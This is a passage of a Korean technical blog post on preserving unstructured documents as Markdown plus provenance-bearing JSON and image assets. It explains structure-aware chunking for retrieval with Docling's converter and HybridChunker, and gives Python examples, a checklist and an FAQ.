&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;document/
├── source.pdf
├── document.md
├── document.json
├── assets/
│   ├── figures/
│   │   └── figure-003.png
│   ├── tables/
│   │   └── table-007.html
│   └── pages/
│       └── page-012.png
└── chunks/
    └── chunks.jsonl&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;각 파일의 역할은 다릅니다.&lt;/p&gt;
&lt;h3&gt;&lt;code class=&quot;language-text&quot;&gt;document.md&lt;/code&gt; — 읽기와 전달&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;제목 계층과 읽기 순서를 복원합니다.&lt;/li&gt;
&lt;li&gt;단순 표는 Markdown 표로 표현합니다.&lt;/li&gt;
&lt;li&gt;병합 셀이 중요한 표는 HTML 또는 별도 자산을 참조합니다.&lt;/li&gt;
&lt;li&gt;그림은 안정적인 ID를 가진 링크로 연결합니다.&lt;/li&gt;
&lt;li&gt;LLM 프롬프트와 사람이 검토하는 화면에 사용합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;code class=&quot;language-text&quot;&gt;document.json&lt;/code&gt; — 구조와 provenance&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;json&quot;&gt;&lt;pre class=&quot;language-json&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;table-007&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;type&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;table&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;parent&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;section-2.1&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;page&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;bbox&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;84&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;316&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;934&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;842&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;caption&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;표 3. 분기별 장애 건수&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;confidence&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0.96&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;source&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;source.pdf&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;content_hash&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;sha256:...&quot;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;block_id&lt;/code&gt;, 부모·자식 관계, 페이지, 좌표, OCR 신뢰도, 원문 범위와 같은 정보는 Markdown 본문에 모두 노출하지 않고 JSON에 둡니다. 검색 결과가 나오면 이 ID를 통해 원본 페이지를 열고 근거 영역을 강조할 수 있습니다.&lt;/p&gt;
&lt;h3&gt;&lt;code class=&quot;language-text&quot;&gt;assets/&lt;/code&gt; — 텍스트로 환원되지 않는 정보&lt;/h3&gt;
&lt;p&gt;차트, 도면, 서명, 수식, 복잡한 표는 원본 이미지를 보존합니다. 필요하면 VLM이 만든 설명이나 표의 CSV 표현을 추가하되, 생성된 설명이 원본 자산을 대체하게 해서는 안 됩니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;비정형 문서를 만드는 전체 파이프라인&lt;/h2&gt;
&lt;p&gt;모든 파일을 OCR에 넣는 방식보다 문서 유형에 따라 경로를 나누는 편이 정확합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;PDF·스캔·DOCX·PPTX·XLSX
          ↓
     문서 유형 판별
          ↓
텍스트 추출 / OCR / 레이아웃 분석
          ↓
 제목·문단·표·그림·수식 식별
          ↓
    통합 Document Model
          ↓
 Markdown + JSON + Assets
          ↓
       구조 기반 청킹&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;1. 원본 유형을 먼저 판별한다&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Born-digital PDF&lt;/strong&gt;: 내장 텍스트와 글자 좌표를 우선 사용합니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;스캔 PDF·이미지&lt;/strong&gt;: OCR과 레이아웃 모델을 사용합니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DOCX·PPTX&lt;/strong&gt;: 가능하면 네이티브 XML 구조를 직접 읽습니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;XLSX&lt;/strong&gt;: 셀 값뿐 아니라 수식, 병합, 시트와 표 범위를 보존합니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;도면·차트&lt;/strong&gt;: 전체 문서가 아니라 필요한 영역만 VLM으로 보강합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;원본에 이미 구조가 있는데 이미지를 만든 뒤 OCR을 수행하면 정확도와 비용을 동시에 잃습니다.&lt;/p&gt;
&lt;h3&gt;2. 글자보다 요소를 추출한다&lt;/h3&gt;
&lt;p&gt;추출 결과의 최소 단위는 문자열이 아니라 &lt;code class=&quot;language-text&quot;&gt;Title&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;Paragraph&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;ListItem&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;Table&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;Picture&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;Formula&lt;/code&gt; 같은 문서 요소여야 합니다. 각 요소에는 안정적인 ID와 provenance를 붙입니다.&lt;/p&gt;
&lt;p&gt;Azure Document Intelligence의 Layout 모델도 Markdown 본문 외에 페이지, 문단, 단어, 표, 그림, 섹션과 bounding region을 JSON으로 제공합니다. Markdown은 그 분석 결과를 표현하는 출력 중 하나입니다.&lt;/p&gt;
&lt;h3&gt;3. Markdown과 구조 데이터를 동시에 만든다&lt;/h3&gt;
&lt;p&gt;Docling을 사용하면 하나의 &lt;code class=&quot;language-text&quot;&gt;DoclingDocument&lt;/code&gt;에서 Markdown과 JSON을 각각 저장할 수 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; pathlib &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; Path
&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; docling&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;document_converter &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; DocumentConverter

result &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; DocumentConverter&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;convert&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;source.pdf&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
doc &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; result&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;document

doc&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;save_as_markdown&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Path&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;document.md&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
doc&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;save_as_json&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
    Path&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;document.json&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    artifacts_dir&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;Path&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;assets&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이 구조의 장점은 Markdown 직렬화 규칙을 바꾸거나 청킹 전략을 교체해도 PDF를 다시 분석하지 않아도 된다는 점입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;청킹은 Markdown 문자열이 아니라 문서 모델에서 시작한다&lt;/h2&gt;
&lt;p&gt;가장 흔한 구현은 Markdown을 만든 뒤 500자 또는 500토큰마다 자르는 방식입니다. 간단하지만 표의 행, 목록, 캡션과 본문 관계를 무시합니다.&lt;/p&gt;
&lt;p&gt;좋은 청킹은 다음 순서를 따릅니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;제목과 문서 요소를 기준으로 의미 경계를 결정합니다.&lt;/li&gt;
&lt;li&gt;임베딩 모델의 토큰 제한을 넘는 요소만 나눕니다.&lt;/li&gt;
&lt;li&gt;같은 제목 경로를 가진 작은 이웃 청크만 합칩니다.&lt;/li&gt;
&lt;li&gt;각 청크에 원본 요소 ID와 위치를 남깁니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Docling의 &lt;code class=&quot;language-text&quot;&gt;HybridChunker&lt;/code&gt;라는 이름은 여기에서 나옵니다. &lt;strong&gt;문서 계층 기반 청킹 위에 토큰 인지형 분할·병합을 추가&lt;/strong&gt;하는 방식입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; json
&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; pathlib &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; Path
&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; docling&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;chunking &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; HybridChunker

chunker &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; HybridChunker&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;with&lt;/span&gt; Path&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;chunks/chunks.jsonl&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;w&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; encoding&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;utf-8&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; fp&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; index&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; chunk &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;enumerate&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;chunker&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;chunk&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;dl_doc&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;doc&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        record &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;token string&quot;&gt;&quot;chunk_id&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string-interpolation&quot;&gt;&lt;span class=&quot;token string&quot;&gt;f&quot;chunk-&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;index&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token format-spec&quot;&gt;04d&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;token string&quot;&gt;&quot;text&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; chunk&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;text&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;token string&quot;&gt;&quot;embedding_text&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; chunker&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;contextualize&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;chunk&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;token string&quot;&gt;&quot;metadata&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; chunk&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;meta&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;export_json_dict&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
        fp&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;write&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;json&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;dumps&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;record&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; ensure_ascii&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;False&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;\n&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;contextualize()&lt;/code&gt; 결과에는 제목과 캡션 같은 문맥이 보강됩니다. 임베딩 모델에는 이 보강된 문자열을 넣고, 사용자에게 보여줄 본문과 원본 위치는 별도 필드로 유지하는 편이 좋습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;요소별 청킹 노하우&lt;/h2&gt;
&lt;h3&gt;제목과 문단&lt;/h3&gt;
&lt;p&gt;새 제목이 시작되면 기존 청크를 닫습니다. 단, 한두 문장뿐인 작은 하위 절은 &lt;strong&gt;같은 제목 경로 안에서만&lt;/strong&gt; 합칩니다. 다른 절의 남는 공간을 채우기 위해 합치면 검색 결과에 서로 다른 주제가 섞입니다.&lt;/p&gt;
&lt;p&gt;청크를 임베딩할 때 다음처럼 짧은 제목 경로를 앞에 붙이면 단독으로 검색돼도 문맥을 잃지 않습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;장애 보고서 &gt; 3. 원인 분석 &gt; 3.2 데이터베이스

커넥션 풀의 대기 시간이 30초를 초과했다.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;표&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;가능하면 표 전체를 하나의 청크로 유지합니다.&lt;/li&gt;
&lt;li&gt;너무 크면 행 경계에서 나눕니다.&lt;/li&gt;
&lt;li&gt;나뉜 모든 청크에 표 제목과 열 헤더를 반복합니다.&lt;/li&gt;
&lt;li&gt;병합 셀이 의미를 결정한다면 Markdown 표보다 HTML 또는 구조화 JSON을 사용합니다.&lt;/li&gt;
&lt;li&gt;숫자 질의가 중요하면 표의 원본 구조와 함께 행 단위 텍스트 표현도 별도로 색인합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;그림과 차트&lt;/h3&gt;
&lt;p&gt;그림 이미지, 캡션, 그림을 직접 언급하는 앞뒤 문단을 하나의 논리 그룹으로 묶습니다. VLM이 생성한 설명에는 &lt;code class=&quot;language-text&quot;&gt;generated_description: true&lt;/code&gt; 같은 표시를 남겨 OCR 또는 원문과 구분합니다.&lt;/p&gt;
&lt;h3&gt;목록·코드·수식&lt;/h3&gt;
&lt;p&gt;목록 항목, 코드 블록, 수식은 중간에서 자르지 않는 것이 기본입니다. 하나의 요소가 토큰 제한보다 크면 줄 경계를 보존하는 전용 규칙을 사용합니다.&lt;/p&gt;
&lt;h3&gt;페이지 경계와 overlap&lt;/h3&gt;
&lt;p&gt;페이지 번호는 반드시 보존해야 하지만 페이지가 바뀐다고 무조건 청크를 나눌 필요는 없습니다. 하나의 문단이 다음 페이지로 이어질 수 있기 때문입니다.&lt;/p&gt;
&lt;p&gt;overlap도 모든 청크에 일괄 적용하지 않습니다. 구조 경계를 지킨 청크는 이미 문맥이 완결되어 있습니다. overlap은 긴 서술 문단을 토큰 제한 때문에 강제로 나눌 때만 적용하는 편이 중복 검색을 줄입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;고정된 청크 크기보다 평가 세트가 먼저다&lt;/h2&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;500토큰이 정답인가요?&lt;/code&gt;라는 질문에는 보편적인 답이 없습니다. 임베딩 모델, 문서 종류, 질문의 범위가 다르기 때문입니다.&lt;/p&gt;
&lt;p&gt;최소한 다음 유형의 질문을 문서별로 만들어 비교해야 합니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;한 문단 안에서 답할 수 있는 질문&lt;/li&gt;
&lt;li&gt;제목과 본문을 함께 봐야 하는 질문&lt;/li&gt;
&lt;li&gt;표의 여러 행을 비교하는 질문&lt;/li&gt;
&lt;li&gt;그림과 캡션을 함께 봐야 하는 질문&lt;/li&gt;
&lt;li&gt;서로 다른 페이지의 조항을 연결하는 질문&lt;/li&gt;
&lt;li&gt;답의 페이지와 위치를 제시해야 하는 질문&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;청킹 설정을 바꿀 때는 검색 적중률뿐 아니라 다음 지표도 봅니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;grounding coverage
= 원본 위치를 가진 청크 수 / 전체 청크 수&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;그리고 답이 맞더라도 잘못된 표의 열이나 다른 그림의 숫자를 근거로 삼았다면 실패로 처리해야 합니다. 비정형 문서에서는 &lt;strong&gt;값의 정확성&lt;/strong&gt;과 &lt;strong&gt;관계의 정확성&lt;/strong&gt;을 따로 평가해야 합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;언제 Markdown만으로 충분한가&lt;/h2&gt;
&lt;p&gt;모든 프로젝트에 복잡한 문서 모델이 필요한 것은 아닙니다.&lt;/p&gt;
&lt;h3&gt;Markdown만으로 충분한 경우&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;원래부터 Markdown 또는 HTML로 작성된 문서&lt;/li&gt;
&lt;li&gt;제목과 문단 중심의 기술 문서&lt;/li&gt;
&lt;li&gt;단순한 표만 포함한 문서&lt;/li&gt;
&lt;li&gt;답의 원본 좌표를 제시할 필요가 없는 내부 검색&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;하이브리드 구조가 필요한 경우&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;계약서·규정·감사 보고서처럼 출처 추적이 중요한 문서&lt;/li&gt;
&lt;li&gt;병합 셀과 다중 헤더가 많은 표&lt;/li&gt;
&lt;li&gt;차트·도면·수식이 핵심인 문서&lt;/li&gt;
&lt;li&gt;스캔 품질이 일정하지 않은 대량 문서&lt;/li&gt;
&lt;li&gt;추출 결과를 사람이 다시 검증해야 하는 업무&lt;/li&gt;
&lt;li&gt;동일 문서로 검색, 정보 추출, 요약을 모두 수행하는 시스템&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;이미지와 구조가 중요한 문서라면 &lt;a href=&quot;/rag-explained/&quot;&gt;RAG가 무엇인지&lt;/a&gt;보다 먼저 &lt;strong&gt;문서를 어떤 형태로 보존할 것인지&lt;/strong&gt;를 결정해야 합니다. 설비 문서를 지식 그래프로 바꾸는 사례는 &lt;a href=&quot;/pid-to-knowledge-graph/&quot;&gt;P&amp;#x26;ID를 지식 그래프로 만드는 과정&lt;/a&gt;에서도 확인할 수 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;실무 체크리스트&lt;/h2&gt;
&lt;ul class=&quot;contains-task-list&quot;&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; 원본 파일을 변환 결과와 함께 보존했는가?&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; 각 요소에 안정적인 ID가 있는가?&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; 페이지와 bounding box로 원본 위치를 찾을 수 있는가?&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; 제목·본문·표·그림·캡션 관계가 남아 있는가?&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; OCR 신뢰도와 생성형 설명을 원문과 구분했는가?&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; 병합 셀을 Markdown 표로 억지로 평탄화하지 않았는가?&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; 청크가 원본 요소 ID를 참조하는가?&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; 큰 표를 나눌 때 헤더를 반복하는가?&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; 임베딩 모델과 같은 tokenizer로 크기를 계산하는가?&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; 검색 결과에서 원본 페이지를 바로 열 수 있는가?&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;FAQ&lt;/h2&gt;
&lt;h3&gt;하이브리드 Markdown은 별도의 파일 확장자인가요?&lt;/h3&gt;
&lt;p&gt;아닙니다. 이 글에서는 Markdown, JSON, 원본 자산을 함께 관리하는 설계 방식을 뜻합니다. &lt;code class=&quot;language-text&quot;&gt;.hmd&lt;/code&gt; 같은 새로운 표준 파일을 제안하는 것이 아닙니다.&lt;/p&gt;
&lt;h3&gt;JSON만 저장하면 Markdown은 필요 없지 않나요?&lt;/h3&gt;
&lt;p&gt;JSON은 구조 보존에는 좋지만 사람이 읽고 LLM에 전달하기에는 장황합니다. Markdown은 검토, 프롬프트 구성, 버전 비교에 유리합니다. 두 표현의 역할이 다릅니다.&lt;/p&gt;
&lt;h3&gt;페이지마다 청크를 나누면 출처 관리가 쉬워지지 않나요?&lt;/h3&gt;
&lt;p&gt;출처 관리는 쉬워지지만 문단과 표가 페이지를 넘어갈 때 의미가 끊깁니다. 페이지는 청크의 메타데이터로 보존하고, 실제 경계는 문서 요소와 제목 구조를 우선하는 것이 좋습니다.&lt;/p&gt;
&lt;h3&gt;HybridChunker를 쓰면 모든 문서에서 좋은 결과가 나오나요?&lt;/h3&gt;
&lt;p&gt;아닙니다. 레이아웃 분석 단계에서 제목이나 표를 잘못 분류하면 구조 기반 청킹도 그 오류를 이어받습니다. 문서 유형별 평가 세트와 원본 위치 검증이 필요합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;마무리&lt;/h2&gt;
&lt;p&gt;Markdown은 AI 문서 파이프라인에서 여전히 좋은 중간 표현입니다. 문제는 Markdown을 &lt;strong&gt;유일한 원본&lt;/strong&gt;으로 사용할 때 생깁니다.&lt;/p&gt;
&lt;p&gt;원본 파일과 구조화 문서 모델을 보존하고, Markdown을 읽기용 투영으로 만들고, 청크마다 원본 요소와 위치를 연결하십시오. 그러면 파서와 임베딩 모델을 바꿔도 문서를 다시 분석할 필요가 없고, AI의 답을 원본에서 검증할 수 있습니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;디지털화의 품질은 얼마나 많은 글자를 남겼는지가 아니라, 의미와 출처로 얼마나 정확히 돌아갈 수 있는지로 판단해야 합니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;참고 자료&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docling-project.github.io/docling/concepts/serialization/&quot;&gt;Docling — Serialization&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docling-project.github.io/docling/concepts/chunking/&quot;&gt;Docling — Chunking&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docling-project.github.io/docling/_generated/examples/hybrid_chunking/&quot;&gt;Docling — Hybrid chunking example&lt;/a&gt;&lt;/li&gt;
